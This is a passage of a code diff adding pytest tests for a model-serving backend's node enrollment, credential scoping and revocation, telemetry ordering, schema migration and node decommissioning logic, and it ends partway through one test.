+    ComputeNode,
+    NodeCredential,
+    NodeEnrollment,
+)
+from modelforge_api.services.node_agent import (
+    AgentAuthenticationError,
+    AgentAuthorizationError,
+    AgentConflictError,
+    NodeAgentService,
+    secret_hash,
+)
+from modelforge_api.settings import Settings
+
+
+def settings() -> Settings:
+    return Settings(
+        _env_file=None,
+        operator_api_key=SecretStr("admin-test-key"),
+        node_stale_after_seconds=10,
+        node_offline_after_seconds=20,
+    )
+
+
+def metadata(protocol: int = 1) -> AgentMetadata:
+    return AgentMetadata(
+        agent_version="0.1.0",
+        protocol_version=protocol,
+        supported_capabilities=AGENT_PROTOCOL_CAPABILITIES,
+        started_at=datetime.now(UTC),
+    )
+
+
+def enroll(service: NodeAgentService, identity: str = "remote-node"):
+    created = service.create_enrollment(
+        EnrollmentTokenCreate(
+            display_name="Server 01",
+            role="primary-inference",
+            labels={"site": "lab"},
+            production_eligible=True,
+            lab_eligible=True,
+            benchmark_eligible=True,
+        )
+    )
+    response = service.enroll(
+        EnrollmentRequest(
+            enrollment_token=created.enrollment_token,
+            identity_key=identity,
+            identity_source="persisted_uuid",
+            hostname="server01",
+            display_name="server01",
+            metadata=metadata(),
+        )
+    )
+    return created, response
+
+
+def inventory(sequence: int, devices=None, hostname: str = "server01") -> InventoryReport:
+    host = (
+        FakeHostCollector()
+        .collect()
+        .model_copy(
+            update={
+                "identity_key": "remote-node",
+                "identity_source": "persisted_uuid",
+                "hostname": hostname,
+                "display_name": hostname,
+            }
+        )
+    )
+    return InventoryReport(
+        identity_key="remote-node",
+        protocol_version=1,
+        sequence=sequence,
+        observed_at=host.inventory_at + timedelta(seconds=sequence),
+        host=host,
+        nvidia=InventoryNvidiaPayload(
+            availability=Availability.KNOWN,
+            inventory=devices if devices is not None else [accelerator()],
+        ),
+    )
+
+
+def telemetry(observed_at: datetime, sequence: int) -> TelemetryReport:
+    host = FakeHostCollector().collect()
+    known_int = ObservedValue.known
+    return TelemetryReport(
+        identity_key="remote-node",
+        protocol_version=1,
+        sequence=sequence,
+        observed_at=observed_at,
+        available_ram_bytes=host.available_ram_bytes,
+        storage=host.storage,
+        accelerators=[
+            AcceleratorTelemetry(
+                device_uuid="GPU-A",
+                observed_at=observed_at,
+                used_vram_bytes=known_int(1024),
+                free_vram_bytes=known_int(2048),
+                gpu_utilization_percent=known_int(42),
+                memory_utilization_percent=known_int(12),
+                temperature_c=known_int(55),
+                power_draw_w=ObservedValue.known(80.0),
+                power_limit_w=ObservedValue.known(200.0),
+                graphics_clock_mhz=known_int(1500),
+                memory_clock_mhz=known_int(7000),
+                fan_speed_percent=ObservedValue.absent(Availability.UNSUPPORTED, "not supported"),
+                performance_state=ObservedValue.known("P2"),
+            )
+        ],
+    )
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def test_one_time_enrollment_hashes_secrets_and_audits(session: Session) -> None:
+    service = NodeAgentService(session, settings())
+    created, response = enroll(service)
+    record = session.scalar(select(NodeEnrollment))
+    credential = session.scalar(select(NodeCredential))
+    assert record is not None and created.enrollment_token not in record.token_hash
+    assert credential is not None and response.node_credential not in credential.secret_hash
+    assert len(record.token_hash) == 64 and len(credential.secret_hash) == 64
+    with pytest.raises(AgentAuthenticationError, match="already used"):
+        service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key="remote-node",
+                identity_source="persisted_uuid",
+                hostname="server01",
+                display_name="server01",
+                metadata=metadata(),
+            )
+        )
+    actions = list(session.scalars(select(AuditEvent.action)))
+    assert "NODE_ENROLLMENT_TOKEN_CREATED" in actions
+    assert "NODE_ENROLLED" in actions
+    second_token = service.create_enrollment(EnrollmentTokenCreate())
+    second = service.enroll(
+        EnrollmentRequest(
+            enrollment_token=second_token.enrollment_token,
+            identity_key="remote-node",
+            identity_source="persisted_uuid",
+            hostname="renamed-server",
+            display_name="renamed-server",
+            metadata=metadata(),
+        )
+    )
+    assert second.node_id == response.node_id
+    assert second.node_credential != response.node_credential
+    assert session.query(ComputeNode).count() == 1
+    with pytest.raises(AgentAuthenticationError, match="revoked"):
+        service.authenticate(f"Bearer {response.node_credential}")
+
+
+def test_invalid_expired_and_revoked_enrollment_tokens_are_rejected(session: Session) -> None:
+    service = NodeAgentService(session, settings())
+    request = EnrollmentRequest(
+        enrollment_token="x" * 40,
+        identity_key="remote-node",
+        identity_source="persisted_uuid",
+        hostname="server01",
+        display_name="server01",
+        metadata=metadata(),
+    )
+    with pytest.raises(AgentAuthenticationError, match="invalid"):
+        service.enroll(request)
+    created = service.create_enrollment(EnrollmentTokenCreate())
+    record = session.scalar(select(NodeEnrollment))
+    assert record is not None
+    record.expires_at = datetime.now(UTC) - timedelta(seconds=1)
+    session.commit()
+    with pytest.raises(AgentAuthenticationError, match="expired"):
+        service.enroll(request.model_copy(update={"enrollment_token": created.enrollment_token}))
+    incompatible = service.create_enrollment(EnrollmentTokenCreate())
+    with pytest.raises(AgentConflictError, match="incompatible"):
+        service.enroll(
+            request.model_copy(
+                update={
+                    "enrollment_token": incompatible.enrollment_token,
+                    "metadata": metadata().model_copy(update={"protocol_version": 99}),
+                }
+            )
+        )
+    revoked = service.create_enrollment(EnrollmentTokenCreate())
+    service.revoke_enrollment(uuid.UUID(revoked.id))
+    with pytest.raises(AgentAuthenticationError, match="revoked"):
+        service.enroll(request.model_copy(update={"enrollment_token": revoked.enrollment_token}))
+
+
+def test_revocation_between_validation_and_claim_wins_without_minting(
+    session: Session, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    """Trigger the reviewer's validation/revoke/claim interleaving deterministically."""
+
+    service = NodeAgentService(session, settings())
+    created = service.create_enrollment(EnrollmentTokenCreate())
+    enrollment_id = uuid.UUID(created.id)
+    original_claim = service._claim_enrollment
+
+    def revoke_then_claim(
+        *, enrollment_id: uuid.UUID, token_hash: str, claim_now: datetime
+    ) -> bool:
+        service.revoke_enrollment(enrollment_id)
+        return original_claim(
+            enrollment_id=enrollment_id,
+            token_hash=token_hash,
+            claim_now=claim_now,
+        )
+
+    monkeypatch.setattr(service, "_claim_enrollment", revoke_then_claim)
+    with pytest.raises(AgentAuthenticationError, match="revoked"):
+        service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key="revocation-race-node",
+                identity_source="persisted_uuid",
+                hostname="revocation-race-node",
+                display_name="revocation-race-node",
+                metadata=metadata(),
+            )
+        )
+
+    enrollment = session.get(NodeEnrollment, enrollment_id, populate_existing=True)
+    assert enrollment is not None
+    assert enrollment.revoked_at is not None
+    assert enrollment.used_at is None
+    assert session.query(ComputeNode).count() == 0
+    assert session.query(NodeCredential).count() == 0
+    assert (
+        session.query(AuditEvent)
+        .filter(AuditEvent.action == "NODE_ENROLLMENT_TOKEN_REVOKED")
+        .count()
+        == 1
+    )
+
+    # The already-revoked DELETE control stays idempotent and must not duplicate its audit.
+    service.revoke_enrollment(enrollment_id)
+    assert (
+        session.query(AuditEvent)
+        .filter(AuditEvent.action == "NODE_ENROLLMENT_TOKEN_REVOKED")
+        .count()
+        == 1
+    )
+
+
+def test_a_successful_claim_makes_a_later_revocation_lose_without_revoke_audit(
+    session: Session,
+) -> None:
+    service = NodeAgentService(session, settings())
+    created, response = enroll(service, identity="claim-winner-node")
+
+    with pytest.raises(AgentConflictError, match="used"):
+        service.revoke_enrollment(uuid.UUID(created.id))
+
+    enrollment = session.get(NodeEnrollment, uuid.UUID(created.id), populate_existing=True)
+    credential = session.get(NodeCredential, uuid.UUID(response.credential_id))
+    assert enrollment is not None and enrollment.used_at is not None
+    assert enrollment.revoked_at is None
+    assert credential is not None and credential.revoked_at is None
+    assert (
+        session.query(AuditEvent)
+        .filter(AuditEvent.action == "NODE_ENROLLMENT_TOKEN_REVOKED")
+        .count()
+        == 0
+    )
+
+
+@pytest.mark.parametrize(
+    ("mutation", "error_type", "message"),
+    [
+        ("expired", AgentAuthenticationError, "expired"),
+        ("used", AgentAuthenticationError, "already used"),
+        ("scope", AgentAuthorizationError, "scope"),
+        ("token_identity", AgentAuthenticationError, "invalid"),
+    ],
+)
+def test_every_mutable_authorization_fact_is_rechecked_at_the_atomic_claim(
+    session: Session,
+    monkeypatch: pytest.MonkeyPatch,
+    mutation: str,
+    error_type: type[Exception],
+    message: str,
+) -> None:
+    """Controlled SQLite interleavings cover expiry, use, scope, and token-identity TOCTOU."""
+
+    service = NodeAgentService(session, settings())
+    created = service.create_enrollment(EnrollmentTokenCreate())
+    enrollment_id = uuid.UUID(created.id)
+    original_claim = service._claim_enrollment
+
+    def mutate_then_claim(
+        *, enrollment_id: uuid.UUID, token_hash: str, claim_now: datetime
+    ) -> bool:
+        values: dict[str, object]
+        if mutation == "expired":
+            values = {"expires_at": claim_now - timedelta(microseconds=1)}
+        elif mutation == "used":
+            values = {"used_at": claim_now}
+        elif mutation == "scope":
+            # Production schema 0023 rejects this write. Temporarily bypass SQLite's constraint
+            # to prove the claim predicate still fails closed for a malformed legacy/interleaved
+            # row; the migration suite separately proves the real constraint is enforced.
+            session.execute(text("PRAGMA ignore_check_constraints = ON"))
+            values = {"scope": "node.publish"}
+        else:
+            values = {"token_hash": secret_hash("a different enrollment token")}
+        session.execute(
+            update(NodeEnrollment).where(NodeEnrollment.id == enrollment_id).values(**values)
+        )
+        session.commit()
+        if mutation == "scope":
+            session.execute(text("PRAGMA ignore_check_constraints = OFF"))
+        return original_claim(
+            enrollment_id=enrollment_id,
+            token_hash=token_hash,
+            claim_now=claim_now,
+        )
+
+    monkeypatch.setattr(service, "_claim_enrollment", mutate_then_claim)
+    with pytest.raises(error_type, match=message):
+        service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key=f"{mutation}-race-node",
+                identity_source="persisted_uuid",
+                hostname=f"{mutation}-race-node",
+                display_name=f"{mutation}-race-node",
+                metadata=metadata(),
+            )
+        )
+
+    enrollment = session.get(NodeEnrollment, enrollment_id, populate_existing=True)
+    assert enrollment is not None
+    assert enrollment.enrolled_node_id is None
+    assert session.query(ComputeNode).count() == 0
+    assert session.query(NodeCredential).count() == 0
+    assert (
+        session.query(AuditEvent).filter(AuditEvent.action == "NODE_ENROLLED").count() == 0
+    )
+
+
+@pytest.mark.parametrize(
+    ("enrollment_scope", "publisher_scope"),
+    [
+        ("node.publish", "node.enroll"),
+        ("NODE.ENROLL", "NODE.PUBLISH"),
+        ("node.enroll ", "node.publish "),
+        ("node.enroll\u200b", "node.publish\u200b"),
+    ],
+)
+def test_wrong_scope_enrollment_and_publisher_records_fail_closed_before_state_changes(
+    session: Session,
+    enrollment_scope: str,
+    publisher_scope: str,
+) -> None:
+    service = NodeAgentService(session, settings())
+    created = service.create_enrollment(EnrollmentTokenCreate())
+    enrollment = session.get(NodeEnrollment, uuid.UUID(created.id))
+    assert enrollment is not None
+    session.execute(text("PRAGMA ignore_check_constraints = ON"))
+    enrollment.scope = enrollment_scope
+    session.commit()
+    session.execute(text("PRAGMA ignore_check_constraints = OFF"))
+
+    request = EnrollmentRequest(
+        enrollment_token=created.enrollment_token,
+        identity_key="wrong-scope-node",
+        identity_source="persisted_uuid",
+        hostname="wrong-scope-node",
+        display_name="wrong-scope-node",
+        metadata=metadata(),
+    )
+    with pytest.raises(AgentAuthorizationError, match="scope"):
+        service.enroll(request)
+    session.refresh(enrollment)
+    assert enrollment.used_at is None
+    assert session.query(ComputeNode).count() == 0
+    assert session.query(NodeCredential).count() == 0
+
+    enrollment.scope = "node.enroll"
+    session.commit()
+    response = service.enroll(request)
+    credential = session.get(NodeCredential, uuid.UUID(response.credential_id))
+    assert credential is not None
+    session.execute(text("PRAGMA ignore_check_constraints = ON"))
+    credential.scope = publisher_scope
+    session.commit()
+    session.execute(text("PRAGMA ignore_check_constraints = OFF"))
+
+    with pytest.raises(AgentAuthorizationError, match="scope"):
+        service.authenticate(f"Bearer {response.node_credential}")
+
+
+def test_credential_ownership_disable_and_revocation(session: Session) -> None:
+    service = NodeAgentService(session, settings())
+    _created, response = enroll(service)
+    _credential, node = service.authenticate(f"Bearer {response.node_credential}")
+    heartbeat = HeartbeatRequest(
+        identity_key="another-node",
+        metadata=metadata(),
+        observed_at=datetime.now(UTC),
+    )
+    with pytest.raises(AgentAuthorizationError, match="another node"):
+        service.heartbeat(node, heartbeat)
+    node.enabled = False
+    session.commit()
+    with pytest.raises(AgentAuthorizationError, match="disabled"):
+        service.authenticate(f"Bearer {response.node_credential}")
+    node.enabled = True
+    session.commit()
+    rotated = service.rotate_credential(node.id)
+    assert rotated.node_credential != response.node_credential
+    with pytest.raises(AgentAuthenticationError, match="revoked"):
+        service.authenticate(f"Bearer {response.node_credential}")
+    service.authenticate(f"Bearer {rotated.node_credential}")
+    service.revoke_credential(node.id)
+    with pytest.raises(AgentAuthenticationError, match="revoked"):
+        service.authenticate(f"Bearer {rotated.node_credential}")
+
+
+def test_remote_reconciliation_is_idempotent_non_destructive_and_ordered(
+    session: Session,
+) -> None:
+    service = NodeAgentService(session, settings())
+    _created, response = enroll(service)
+    _credential, node = service.authenticate(f"Bearer {response.node_credential}")
+    assert service.publish_inventory(node, inventory(1)).accepted
+    first_accelerator = session.scalar(select(Accelerator))
+    assert first_accelerator is not None
+    first_id = first_accelerator.id
+    assert not service.publish_inventory(node, inventory(1)).accepted
+    assert service.publish_inventory(node, inventory(2, [], hostname="renamed-host")).accepted
+    session.refresh(first_accelerator)
+    assert first_accelerator.status == HardwareStatus.MISSING
+    assert service.publish_inventory(node, inventory(3, hostname="renamed-host")).accepted
+    session.refresh(first_accelerator)
+    assert first_accelerator.id == first_id
+    assert first_accelerator.status == HardwareStatus.ACTIVE
+    assert session.query(ComputeNode).count() == 1
+    assert session.query(Accelerator).count() == 1
+    assert node.key == "remote-node" and node.hostname == "renamed-host"
+
+
+def test_older_telemetry_cannot_overwrite_latest(session: Session) -> None:
+    service = NodeAgentService(session, settings())
+    _created, response = enroll(service)
+    _credential, node = service.authenticate(f"Bearer {response.node_credential}")
+    service.publish_inventory(node, inventory(1))
+    newer = datetime.now(UTC)
+    assert service.publish_telemetry(node, telemetry(newer, 1)).accepted
+    older = telemetry(newer - timedelta(seconds=2), 2)
+    assert not service.publish_telemetry(node, older).accepted
+    session.refresh(node)
+    assert node.telemetry_sequence == 2
+    assert node.last_telemetry_received_at is not None
+    assert not service.publish_telemetry(node, older).accepted
+    assert service.publish_telemetry(node, telemetry(newer + timedelta(seconds=1), 3)).accepted
+    future = telemetry(newer + timedelta(hours=1), 4)
+    assert not service.publish_telemetry(node, future).accepted
+    session.refresh(node)
+    assert node.telemetry_sequence == 4
+    assert node.last_connection_error == "telemetry observation exceeds clock-skew limit"
+
+
+def test_liveness_transitions_and_return_online_are_audited(session: Session) -> None:
+    service = NodeAgentService(session, settings())
+    _created, response = enroll(service)
+    _credential, node = service.authenticate(f"Bearer {response.node_credential}")
+    baseline = datetime.now(UTC)
+    node.last_heartbeat_at = baseline
+    session.commit()
+    service.evaluate_liveness(baseline + timedelta(seconds=11))
+    assert node.liveness_state == NodeLiveness.STALE
+    service.evaluate_liveness(baseline + timedelta(seconds=21))
+    assert node.liveness_state == NodeLiveness.OFFLINE
+    service.heartbeat(
+        node,
+        HeartbeatRequest(
+            identity_key="remote-node", metadata=metadata(), observed_at=datetime.now(UTC)
+        ),
+    )
+    assert node.liveness_state == NodeLiveness.ONLINE
+    actions = list(session.scalars(select(AuditEvent.action)))
+    assert {"NODE_BECAME_STALE", "NODE_BECAME_OFFLINE", "NODE_RETURNED_ONLINE"} <= set(actions)
+
+
+def test_a_single_use_enrollment_token_can_never_mint_two_node_identities(
+    session: Session,
+) -> None:
+    """M15 node-recovery rehearsal regression.
+
+    Two agent threads racing to enrol both passed the `used_at` read before either wrote it,
+    so one token produced two compute nodes for the same hardware. The claim is now atomic.
+    """
+
+    service = NodeAgentService(session, settings())
+    created = service.create_enrollment(EnrollmentTokenCreate(display_name="Recovery rehearsal"))
+
+    first = service.enroll(
+        EnrollmentRequest(
+            enrollment_token=created.enrollment_token,
+            identity_key="recovery-node",
+            identity_source="persisted_uuid",
+            hostname="recovery-host",
+            display_name="recovery-host",
+            metadata=metadata(),
+        )
+    )
+    assert first.node_credential
+
+    with pytest.raises(AgentAuthenticationError, match="already used"):
+        service.enroll(
+            EnrollmentRequest(
+                enrollment_token=created.enrollment_token,
+                identity_key="recovery-node-second-identity",
+                identity_source="persisted_uuid",
+                hostname="recovery-host",
+                display_name="recovery-host",
+                metadata=metadata(),
+            )
+        )
+
+    nodes = list(session.scalars(select(ComputeNode)))
+    assert len(nodes) == 1
+    credentials = list(session.scalars(select(NodeCredential)))
+    assert len([item for item in credentials if item.revoked_at is None]) == 1
+    enrollment = session.scalar(select(NodeEnrollment))
+    assert enrollment is not None
+    assert enrollment.used_at is not None
+    assert enrollment.enrolled_node_id == nodes[0].id
+
+
+def test_re_enrollment_reuses_the_persisted_node_identity_and_revokes_the_old_credential(
+    session: Session,
+) -> None:
+    """A recovered node keeps its identity; the credential it lost stops working."""
+
+    service = NodeAgentService(session, settings())
+    _first_token, first = enroll(service, identity="gpu_node-hardware")
+    node = session.scalar(select(ComputeNode))
+    assert node is not None
+    original_node_id = node.id
+    original_credential = first.node_credential
+
+    second_token = service.create_enrollment(EnrollmentTokenCreate(display_name="Re-enrollment"))
+    second = service.enroll(
+        EnrollmentRequest(
+            enrollment_token=second_token.enrollment_token,
+            identity_key="gpu_node-hardware",
+            identity_source="persisted_uuid",
+            hostname="server01",
+            display_name="server01",
+            metadata=metadata(),
+        )
+    )
+
+    assert len(list(session.scalars(select(ComputeNode)))) == 1
+    assert session.scalar(select(ComputeNode)).id == original_node_id
+    assert second.node_credential != original_credential
+
+    credentials = list(session.scalars(select(NodeCredential)))
+    assert len(credentials) == 2
+    assert len([item for item in credentials if item.revoked_at is None]) == 1
+
+    with pytest.raises(AgentAuthenticationError):
+        service.authenticate(f"Bearer {original_credential}")
+    _credential, authenticated = service.authenticate(f"Bearer {second.node_credential}")
+    assert authenticated.id == original_node_id

backend/tests/test_node_auth_scope_migration.py

@@ -0,0 +1,157 @@
+from __future__ import annotations
+
+import importlib.util
+from pathlib import Path
+from types import ModuleType
+
+import pytest
+import sqlalchemy as sa
+from sqlalchemy import Engine
+from sqlalchemy.exc import IntegrityError
+
+from alembic.config import Config
+from alembic.migration import MigrationContext
+from alembic.operations import Operations
+from alembic.script import ScriptDirectory
+from modelforge_api.domain.release import TARGET_SCHEMA_REVISION
+from modelforge_api.persistence.models import NodeCredential, NodeEnrollment
+
+ROOT = Path(__file__).resolve().parents[2]
+MIGRATION_PATH = (
+    ROOT
+    / "backend"
+    / "alembic"
+    / "versions"
+    / "20260830_0023_node_auth_scopes.py"
+)
+
+
+def _migration() -> ModuleType:
+    spec = importlib.util.spec_from_file_location("node_auth_scopes_0023", MIGRATION_PATH)
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _scope_database(
+    *, enrollment_scope: str = "node.enroll", credential_scope: str = "node.publish"
+) -> Engine:
+    engine = sa.create_engine("sqlite+pysqlite:///:memory:")
+    metadata = sa.MetaData()
+    enrollments = sa.Table(
+        "node_enrollments",
+        metadata,
+        sa.Column("id", sa.String(36), primary_key=True),
+        sa.Column("scope", sa.String(64), nullable=False),
+    )
+    credentials = sa.Table(
+        "node_credentials",
+        metadata,
+        sa.Column("id", sa.String(36), primary_key=True),
+        sa.Column("scope", sa.String(64), nullable=False),
+    )
+    metadata.create_all(engine)
+    with engine.begin() as connection:
+        connection.execute(enrollments.insert(), {"id": "enrollment", "scope": enrollment_scope})
+        connection.execute(credentials.insert(), {"id": "credential", "scope": credential_scope})
+    return engine
+
+
+def _run_migration(module: ModuleType, engine: Engine, action: str) -> None:
+    with engine.begin() as connection:
+        module.op = Operations(MigrationContext.configure(connection))
+        getattr(module, action)()
+
+
+def _check_constraint_names(engine: Engine, table_name: str) -> set[str | None]:
+    return {item["name"] for item in sa.inspect(engine).get_check_constraints(table_name)}
+
+
+def test_0023_is_the_linear_auth_step_before_the_current_audit_head() -> None:
+    config = Config(str(ROOT / "backend" / "alembic.ini"))
+    config.set_main_option("script_location", str(ROOT / "backend" / "alembic"))
+    config.set_main_option("path_separator", "os")
+    scripts = ScriptDirectory.from_config(config)
+    migration = _migration()
+
+    assert scripts.get_heads() == ["20260830_0024"]
+    assert migration.down_revision == "20260828_0022"
+    assert scripts.get_revision("20260830_0024").down_revision == "20260830_0023"
+    assert TARGET_SCHEMA_REVISION == "20260830_0024"
+
+
+def test_current_model_metadata_carries_both_exact_scope_constraints() -> None:
+    enrollment_constraints = {constraint.name for constraint in NodeEnrollment.__table__.constraints}
+    credential_constraints = {constraint.name for constraint in NodeCredential.__table__.constraints}
+
+    assert "ck_node_enrollment_scope" in enrollment_constraints
+    assert "ck_node_credential_scope" in credential_constraints
+
+
+def test_0023_upgrades_correct_rows_enforces_scopes_and_downgrades_cleanly() -> None:
+    migration = _migration()
+    engine = _scope_database()
+
+    _run_migration(migration, engine, "upgrade")
+    assert _check_constraint_names(engine, "node_enrollments") == {
+        "ck_node_enrollment_scope"
+    }
+    assert _check_constraint_names(engine, "node_credentials") == {
+        "ck_node_credential_scope"
+    }
+
+    metadata = sa.MetaData()
+    metadata.reflect(engine)
+    with engine.begin() as connection:
+        with pytest.raises(IntegrityError):
+            connection.execute(
+                metadata.tables["node_enrollments"].insert(),
+                {"id": "wrong-enrollment", "scope": "node.publish"},
+            )
+        with pytest.raises(IntegrityError):
+            connection.execute(
+                metadata.tables["node_credentials"].insert(),
+                {"id": "wrong-credential", "scope": "node.enroll"},
+            )
+
+    _run_migration(migration, engine, "downgrade")
+    assert _check_constraint_names(engine, "node_enrollments") == set()
+    assert _check_constraint_names(engine, "node_credentials") == set()
+
+    metadata = sa.MetaData()
+    metadata.reflect(engine)
+    with engine.begin() as connection:
+        connection.execute(
+            metadata.tables["node_enrollments"].insert(),
+            {"id": "downgraded-enrollment", "scope": "node.publish"},
+        )
+        connection.execute(
+            metadata.tables["node_credentials"].insert(),
+            {"id": "downgraded-credential", "scope": "node.enroll"},
+        )
+
+
+@pytest.mark.parametrize(
+    ("enrollment_scope", "credential_scope", "malformed_table"),
+    [
+        ("node.publish", "node.publish", "node_enrollments"),
+        ("node.enroll", "node.enroll", "node_credentials"),
+    ],
+)
+def test_0023_refuses_malformed_existing_scope_rows_before_ddl(
+    enrollment_scope: str,
+    credential_scope: str,
+    malformed_table: str,
+) -> None:
+    migration = _migration()
+    engine = _scope_database(
+        enrollment_scope=enrollment_scope,
+        credential_scope=credential_scope,
+    )
+
+    with pytest.raises(RuntimeError, match=malformed_table):
+        _run_migration(migration, engine, "upgrade")
+
+    assert _check_constraint_names(engine, "node_enrollments") == set()
+    assert _check_constraint_names(engine, "node_credentials") == set()

backend/tests/test_node_decommission.py

@@ -0,0 +1,537 @@
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+from pydantic import SecretStr
+from sqlalchemy import create_engine, func, select
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.agent import get_decommission_service
+from modelforge_api.api.routes.agent import router as agent_router
+from modelforge_api.domain.agent_protocol import (
+    AGENT_PROTOCOL_CAPABILITIES,
+    AgentMetadata,
+    EnrollmentRequest,
+    EnrollmentTokenCreate,
+    HeartbeatRequest,
+    NodeManagementUpdate,
+)
+from modelforge_api.domain.node_decommission import NodeDecommissionExecute
+from modelforge_api.main import node_decommission_error
+from modelforge_api.persistence.models import (
+    Accelerator,
+    AcceleratorTelemetryLatest,
+    ArtifactJob,
+    AuditEvent,
+    Base,
+    CapabilityDeployment,
+    ComputeNode,
+    GatewayRequest,
+    GpuLease,
+    HardwareInventoryRun,
+    HostTelemetryLatest,
+    LifecycleApprovalRequest,
+    NodeCredential,
+    NodeDecommissionOperation,
+    ResidencyAllocation,
+    RuntimeProbe,
+    SchedulerAcceleratorState,
+    ServingJob,
+    StorageVolumeState,
+)
+from modelforge_api.services.invariants import check_invariants
+from modelforge_api.services.manifest_registry import ManifestRegistry
+from modelforge_api.services.node_agent import (
+    AgentAuthenticationError,
+    AgentConflictError,
+    NodeAgentService,
+    secret_hash,
+)
+from modelforge_api.services.node_decommission import (
+    NodeDecommissionError,
+    NodeDecommissionService,
+)
+from modelforge_api.services.serving import ServingService
+from modelforge_api.services.transient_payloads import MemoryPayloadStore
+from modelforge_api.settings import Settings, get_settings
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def _node(session: Session, *, liveness: str = "offline") -> ComputeNode:
+    node = ComputeNode(
+        key=f"disposable-{uuid.uuid4()}",
+        hostname="disposable-node",
+        display_name="Disposable node",
+        enabled=True,
+        status="active",
+        liveness_state=liveness,
+        inventory={"source": "test"},
+        agent_capabilities=["hardware.inventory"],
+    )
+    session.add(node)
+    session.commit()
+    return node
+
+
+def _request(preview, *, confirmation: str | None = None) -> NodeDecommissionExecute:
+    return NodeDecommissionExecute(
+        expected_generation=preview.node_generation,
+        preview_digest=preview.dependency_digest,
+        idempotency_key=f"decom-{uuid.uuid4()}",
+        operator="test-operator",
+        reason="Disposable acceptance node has permanently left service.",
+        confirmation=confirmation or preview.persisted_identity,
+    )
+
+
+def _blocker_codes(service: NodeDecommissionService, node: ComputeNode) -> set[str]:
+    return {item.code for item in service.preview(node.id).blockers}
+
+
+def test_safe_offline_unused_node_decommissions_once_and_retains_provenance(
+    session: Session,
+) -> None:
+    node = _node(session)
+    credential = NodeCredential(
+        compute_node_id=node.id,
+        secret_hash="a" * 64,
+        scope="node.publish",
+    )
+    history = HardwareInventoryRun(
+        compute_node_id=node.id,
+        status="completed",
+        source="remote_agent",
+        fingerprint="b" * 64,
+        summary={"retained": True},
+        started_at=datetime.now(UTC),
+        completed_at=datetime.now(UTC),
+    )
+    session.add_all([credential, history])
+    session.commit()
+
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    assert preview.safe is True
+    result = service.execute(node.id, _request(preview))
+
+    session.refresh(node)
+    session.refresh(credential)
+    assert result.status == "completed"
+    assert result.idempotent_replay is False
+    assert result.credential_revocations == 1
+    assert credential.revoked_at is not None
+    assert node.decommissioned_at is not None
+    assert node.enabled is False
+    assert node.status == "decommissioned"
+    assert node.liveness_state == "decommissioned"
+    assert node.inventory == {}
+    assert node.agent_capabilities == []
+    assert session.get(HardwareInventoryRun, history.id) is not None
+    assert session.get(ComputeNode, node.id) is node
+
+    replay = service.execute(node.id, _request(preview))
+    assert replay.operation_id == result.operation_id
+    assert replay.idempotent_replay is True
+    assert session.scalar(select(func.count()).select_from(NodeDecommissionOperation)) == 1
+    assert (
+        session.scalar(
+            select(func.count())
+            .select_from(AuditEvent)
+            .where(AuditEvent.action == "NODE_DECOMMISSIONED")
+        )
+        == 1
+    )
+
+
+def test_online_node_is_refused_without_mutation(session: Session) -> None:
+    node = _node(session, liveness="online")
+    service = NodeDecommissionService(session)
+    preview = service.preview(node.id)
+    assert preview.safe is False
+    assert "node_online" in {item.code for item in preview.blockers}
+    with pytest.raises(NodeDecommissionError, match="preconditions") as raised:
+        service.execute(node.id, _request(preview))
+    assert raised.value.code == "node_decommission_blocked"
+    session.refresh(node)
+    assert node.decommissioned_at is None
+    assert node.enabled is True
+
+
+@pytest.mark.parametrize(
+    ("record_factory", "expected_code"),
+    [
+        (
+            lambda node: ArtifactJob(
+                plan_id=uuid.uuid4(),
+                compute_node_id=node.id,
+                storage_root_id=uuid.uuid4(),
+                status="queued",
+                idempotency_key=str(uuid.uuid4()),
+                total_bytes=1,
+            ),
+            "active_artifact_job",
+        ),
+        (
+            lambda node: ServingJob(
+                capability_deployment_id=uuid.uuid4(),
+                compute_node_id=node.id,
+                operation="generate",
+                status="running",
+                idempotency_key=str(uuid.uuid4()),
+            ),
+            "active_serving_job",
+        ),
+        (
+            lambda node: GatewayRequest(
+                request_id=uuid.uuid4(),
+                capability_key="assistant.general",
+                capability_version=1,
+                compute_node_id=node.id,
+                status="queued",
+                priority="production",
+                input_sha256="c" * 64,
+                input_count=1,
+            ),
+            "active_gateway_request",
+        ),
+        (
+            lambda node: RuntimeProbe(
+                artifact_set_id=uuid.uuid4(),
+                runtime_profile_id=uuid.uuid4(),
+                compute_node_id=node.id,
+                compatibility_assessment_id=uuid.uuid4(),
+                execution_approval_id=uuid.uuid4(),
+                status="loading",
+                probe_input="test",
+                idempotency_key=str(uuid.uuid4()),
+                environment_fingerprint="d" * 64,
+            ),
+            "active_runtime_probe",
+        ),
+        (
+            lambda node: LifecycleApprovalRequest(
+                policy_revision_id=uuid.uuid4(),
+                target_type="compute_node",
+                target_ref=str(node.id),
+                environment="production",
+                requested_transition="promote",
+                evidence_snapshot={"compute_node_id": str(node.id)},
+                evidence_fingerprint="e" * 64,
+                status="PENDING",
+                requested_by="operator",
+                reason="test dependency",
+            ),
+            "pending_lifecycle_approval",
+        ),
+    ],
+    ids=["artifact-job", "serving-job", "gateway-request", "runtime-probe", "lifecycle"],
+)
+def test_active_work_classes_block_decommission(
+    session: Session, record_factory, expected_code: str
+) -> None:
+    node = _node(session)
+    session.add(record_factory(node))
+    session.commit()
+    assert expected_code in _blocker_codes(NodeDecommissionService(session), node)
+
+
+def test_gpu_lease_and_runtime_residency_each_block(session: Session) -> None:
+    node = _node(session)
+    accelerator = Accelerator(
+        compute_node_id=node.id,
+        device_index=0,
